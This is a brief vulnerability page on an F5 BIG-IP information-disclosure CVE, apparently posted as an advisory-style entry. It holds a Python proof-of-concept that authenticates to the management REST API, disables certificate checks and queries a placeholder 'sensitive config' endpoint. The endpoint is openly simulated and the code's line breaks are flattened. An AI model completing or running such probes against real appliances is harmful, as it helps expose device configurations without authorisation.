CVE-2026-41954 F5 BIG-IP 敏感信息泄露漏洞

# PoC for CVE-2026-41954 (Conceptual Example) import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def check_poc(target_ip, username, password): # F5 BIG-IP Management URL base_url = f"https://{target_ip}/mgmt" # 1. Authenticate to get the token auth_url = f"{base_url}/shared/authn/login" auth_payload = { "username": username, "password": password, "loginProviderName": "tmos" } session = requests.Session() session.verify = False try: print(f"[*] Attempting to authenticate as {username}...") resp = session.post(auth_url, json=auth_payload) if resp.status_code != 200: print("[-] Authentication failed.") return token = resp.json().get('token', {}).get('token') headers = { "X-F5-Auth-Token": token, "Content-Type": "application/json" } # 2. Access undisclosed sensitive endpoint (Simulated) # Note: Replace with actual endpoint path if disclosed vuln_endpoint = f"{base_url}/tm/undisclosed/sensitive/config" print(f"[*] Sending request to vulnerable endpoint: {vuln_endpoint}") vuln_resp = session.get(vuln_endpoint, headers=headers) if vuln_resp.status_code == 200: print("[+] Successfully retrieved sensitive information!") print("[+] Data:") print(vuln_resp.text) else: print(f"[-] Request failed with status code: {vuln_resp.status_code}") except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": TARGET = "<BIG_IP_IP>" USER = "resource_admin" PASS = "<PASSWORD>" check_poc(TARGET, USER, PASS)